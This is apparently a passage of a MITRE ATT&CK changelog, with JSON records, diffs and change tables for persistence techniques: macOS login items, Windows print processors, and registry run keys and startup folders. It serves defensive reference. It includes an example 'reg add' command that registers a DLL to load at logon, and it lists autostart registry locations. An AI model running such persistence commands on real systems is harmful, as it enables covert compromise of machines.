| > | e malicious executable to the login item file list located i | > | malicious executable to the login item file list located in | ||
| > | n <code>~/Library/Application Support/com.apple.backgroundta | > | <code>~/Library/Application Support/com.apple.backgroundtas | ||
| > | skmanagementagent/backgrounditems.btm</code>.(Citation: Star | > | kmanagementagent/backgrounditems.btm</code>.(Citation: Start | ||
| > | tup Items Eclectic) Adversaries can also use login items to | > | up Items Eclectic) Adversaries can also use login items to l | ||
| > | launch executables that can be used to control the victim sy | > | aunch executables that can be used to control the victim sys | ||
| > | stem remotely or as a means to gain privilege escalation by | > | tem remotely or as a means to gain privilege escalation by p | ||
| > | prompting for user credentials.(Citation: objsee mac malware | > | rompting for user credentials.(Citation: objsee mac malware | ||
| > | 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire ba | > | 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire bac | ||
| > | ckdoor 2019) | > | kdoor 2019) |
AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\n\nThe print spooler service runs under SYSTEM level permissions; therefore, print processors installed by an adversary may run under elevated privileges.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/012",
"external_id": "T1547.012"
},
{
"source_name": "Microsoft AddPrintProcessor May 2018",
"description": "Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.",
"url": "https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor"
},
{
"source_name": "Microsoft Intro Print Processors",
"description": "Microsoft. (2023, June 26). Introduction to print processors. Retrieved September 27, 2023.",
"url": "https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors"
},
{
"source_name": "ESET PipeMon May 2020",
"description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.",
"url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Mathieu Tartare, ESET",
"Tahseen Bin Taj"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:02:45.518000+00:00\", \"old_value\": \"2025-10-24 17:48:35.261000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\\n\\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\\\SYSTEM\\\\\\\\[CurrentControlSet or ControlSet001]\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture: e.g., Windows x64]\\\\Print Processors\\\\\\\\[user defined]\\\\Driver Registry key that points to the DLL.\\n\\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\\n\\nThe print spooler service runs under SYSTEM level permissions; therefore, print processors installed by an adversary may run under elevated privileges.\", \"old_value\": \"Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\\n\\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\\\SYSTEM\\\\\\\\[CurrentControlSet or ControlSet001]\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture: e.g., Windows x64]\\\\Print Processors\\\\\\\\[user defined]\\\\Driver Registry key that points to the DLL.\\n\\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\\n\\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\\n \\n-The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.\\n+The print spooler service runs under SYSTEM level permissions; therefore, print processors installed by an adversary may run under elevated privileges.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
"previous_version": "1.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse print processors to run malicious DLLs | t | 1 | Adversaries may abuse print processors to run malicious DLLs |
| > | during system boot for persistence and/or privilege escalat | > | during system boot for persistence and/or privilege escalat | ||
| > | ion. Print processors are DLLs that are loaded by the print | > | ion. Print processors are DLLs that are loaded by the print | ||
| > | spooler service, `spoolsv.exe`, during boot.(Citation: Micro | > | spooler service, `spoolsv.exe`, during boot.(Citation: Micro | ||
| > | soft Intro Print Processors) Adversaries may abuse the prin | > | soft Intro Print Processors) Adversaries may abuse the prin | ||
| > | t spooler service by adding print processors that load malic | > | t spooler service by adding print processors that load malic | ||
| > | ious DLLs at startup. A print processor can be installed thr | > | ious DLLs at startup. A print processor can be installed thr | ||
| > | ough the <code>AddPrintProcessor</code> API call with an acc | > | ough the <code>AddPrintProcessor</code> API call with an acc | ||
| > | ount that has <code>SeLoadDriverPrivilege</code> enabled. Al | > | ount that has <code>SeLoadDriverPrivilege</code> enabled. Al | ||
| > | ternatively, a print processor can be registered to the prin | > | ternatively, a print processor can be registered to the prin | ||
| > | t spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentC | > | t spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentC | ||
| > | ontrolSet or ControlSet001]\\Control\\Print\\Environments\\\\[Win | > | ontrolSet or ControlSet001]\\Control\\Print\\Environments\\\\[Win | ||
| > | dows architecture: e.g., Windows x64]\\Print Processors\\\\[use | > | dows architecture: e.g., Windows x64]\\Print Processors\\\\[use | ||
| > | r defined]\\Driver</code> Registry key that points to the DLL | > | r defined]\\Driver</code> Registry key that points to the DLL | ||
| > | . For the malicious print processor to be correctly install | > | . For the malicious print processor to be correctly install | ||
| > | ed, the payload must be located in the dedicated system prin | > | ed, the payload must be located in the dedicated system prin | ||
| > | t-processor directory, that can be found with the <code>GetP | > | t-processor directory, that can be found with the <code>GetP | ||
| > | rintProcessorDirectory</code> API call, or referenced via a | > | rintProcessorDirectory</code> API call, or referenced via a | ||
| > | relative path from this directory.(Citation: Microsoft AddPr | > | relative path from this directory.(Citation: Microsoft AddPr | ||
| > | intProcessor May 2018) After the print processors are instal | > | intProcessor May 2018) After the print processors are instal | ||
| > | led, the print spooler service, which starts during boot, mu | > | led, the print spooler service, which starts during boot, mu | ||
| > | st be restarted in order for them to run.(Citation: ESET Pip | > | st be restarted in order for them to run.(Citation: ESET Pip | ||
| > | eMon May 2020) The print spooler service runs under SYSTEM | > | eMon May 2020) The print spooler service runs under SYSTEM | ||
| > | level permissions, therefore print processors installed by a | > | level permissions; therefore, print processors installed by | ||
| > | n adversary may run under elevated privileges. | > | an adversary may run under elevated privileges. |
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"(Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run automatically for the currently logged-on user.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/001",
"external_id": "T1547.001"
},
{
"source_name": "Malwarebytes Wow6432Node 2016",
"description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.",
"url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/"
},
{
"source_name": "Microsoft Wow6432Node 2018",
"description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.",
"url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry"
},
{
"source_name": "Microsoft Run Key",
"description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.",
"url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys"
},
{
"source_name": "Oddvar Moe RunOnceEx Mar 2018",
"description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.",
"url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Oddvar Moe, @oddvarmoe",
"Dray Agha, @Purp1eW0lf, Huntress Labs",
"Harun K\u00fc\u00dfner"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:53:43.122000+00:00\", \"old_value\": \"2026-05-12 15:12:00.706000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \\\"run keys\\\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\\n\\nThe following run keys are created by default on Windows systems:\\n\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\n* HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\n* HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\n\\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \\\"Depend\\\" key with RunOnceEx: reg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend /v 1 /d \\\"C:\\\\temp\\\\evil[.]dll\\\"(Citation: Oddvar Moe RunOnceEx Mar 2018)\\n\\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup. The startup folder path for all users is C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp.\\n\\nThe following Registry keys can be used to set startup folder items for persistence:\\n\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders\\n* HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders\\n* HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\\n\\nThe following Registry keys can control automatic startup of services during boot:\\n\\n* HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\\n* HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\\n\\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\\n\\n* HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\n\\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows run automatically for the currently logged-on user.\\n\\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\\n\\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.\", \"old_value\": \"Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \\\"run keys\\\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\\n\\nThe following run keys are created by default on Windows systems:\\n\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\n* HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\n* HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\n\\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \\\"Depend\\\" key with RunOnceEx: reg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend /v 1 /d \\\"C:\\\\temp\\\\evil[.]dll\\\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\\n\\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup. The startup folder path for all users is C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp.\\n\\nThe following Registry keys can be used to set startup folder items for persistence:\\n\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders\\n* HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders\\n* HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\\n\\nThe following Registry keys can control automatic startup of services during boot:\\n\\n* HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\\n* HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\\n\\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\\n\\n* HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\n\\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows run automatically for the currently logged-on user.\\n\\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\\n\\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.\", \"diff\": \"--- \\n+++ \\n@@ -7,7 +7,7 @@\\n * HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\n * HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\n \\n-Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \\\"Depend\\\" key with RunOnceEx: reg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend /v 1 /d \\\"C:\\\\temp\\\\evil[.]dll\\\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\\n+Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \\\"Depend\\\" key with RunOnceEx: reg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend /v 1 /d \\\"C:\\\\temp\\\\evil[.]dll\\\"(Citation: Oddvar Moe RunOnceEx Mar 2018)\\n \\n Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup. The startup folder path for all users is C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp.\\n \"}}, \"iterable_item_removed\": {\"root['external_references'][5]\": {\"source_name\": \"TechNet Autoruns\", \"description\": \"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.\", \"url\": \"https://technet.microsoft.com/en-us/sysinternals/bb963902\"}}}",
"previous_version": "2.1",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may achieve persistence by adding a program to a | t | 1 | Adversaries may achieve persistence by adding a program to a |
| > | startup folder or referencing it with a Registry run key. A | > | startup folder or referencing it with a Registry run key. A | ||
| > | dding an entry to the \"run keys\" in the Registry or startup | > | dding an entry to the \"run keys\" in the Registry or startup | ||
| > | folder will cause the program referenced to be executed when | > | folder will cause the program referenced to be executed when | ||
| > | a user logs in.(Citation: Microsoft Run Key) These programs | > | a user logs in.(Citation: Microsoft Run Key) These programs | ||
| > | will be executed under the context of the user and will hav | > | will be executed under the context of the user and will hav | ||
| > | e the account's associated permissions level. The following | > | e the account's associated permissions level. The following | ||
| > | run keys are created by default on Windows systems: * <cod | > | run keys are created by default on Windows systems: * <cod | ||
| > | e>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersio | > | e>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersio | ||
| > | n\\Run</code> * <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Wi | > | n\\Run</code> * <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Wi | ||
| > | ndows\\CurrentVersion\\RunOnce</code> * <code>HKEY_LOCAL_MACHI | > | ndows\\CurrentVersion\\RunOnce</code> * <code>HKEY_LOCAL_MACHI | ||
| > | NE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> * <c | > | NE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> * <c | ||
| > | ode>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVer | > | ode>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVer | ||
| > | sion\\RunOnce</code> Run keys may exist under multiple hives | > | sion\\RunOnce</code> Run keys may exist under multiple hives | ||
| > | .(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebyt | > | .(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebyt | ||
| > | es Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\\Software\\M | > | es Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\\Software\\M | ||
| > | icrosoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also ava | > | icrosoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also ava | ||
| > | ilable but is not created by default on Windows Vista and ne | > | ilable but is not created by default on Windows Vista and ne | ||
| > | wer. Registry run key entries can reference programs directl | > | wer. Registry run key entries can reference programs directl | ||
| > | y or list them as a dependency.(Citation: Microsoft Run Key) | > | y or list them as a dependency.(Citation: Microsoft Run Key) | ||
| > | For example, it is possible to load a DLL at logon using a | > | For example, it is possible to load a DLL at logon using a | ||
| > | \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Mic | > | \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Mic | ||
| > | rosoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d | > | rosoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d | ||
| > | \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx | > | \"C:\\temp\\evil[.]dll\"</code>(Citation: Oddvar Moe RunOnceEx M | ||
| > | Mar 2018) Placing a program within a startup folder will al | > | ar 2018) Placing a program within a startup folder will als | ||
| > | so cause that program to execute when a user logs in. There | > | o cause that program to execute when a user logs in. There i | ||
| > | is a startup folder location for individual user accounts as | > | s a startup folder location for individual user accounts as | ||
| > | well as a system-wide startup folder that will be checked r | > | well as a system-wide startup folder that will be checked re | ||
| > | egardless of which user account logs in. The startup folder | > | gardless of which user account logs in. The startup folder p | ||
| > | path for the current user is <code>C:\\Users\\\\[Username]\\AppD | > | ath for the current user is <code>C:\\Users\\\\[Username]\\AppDa | ||
| > | ata\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</c | > | ta\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</co | ||
| > | ode>. The startup folder path for all users is <code>C:\\Prog | > | de>. The startup folder path for all users is <code>C:\\Progr | ||
| > | ramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code> | > | amData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>. | ||
| > | . The following Registry keys can be used to set startup fo | > | The following Registry keys can be used to set startup fol | ||
| > | lder items for persistence: * <code>HKEY_CURRENT_USER\\Softw | > | der items for persistence: * <code>HKEY_CURRENT_USER\\Softwa | ||
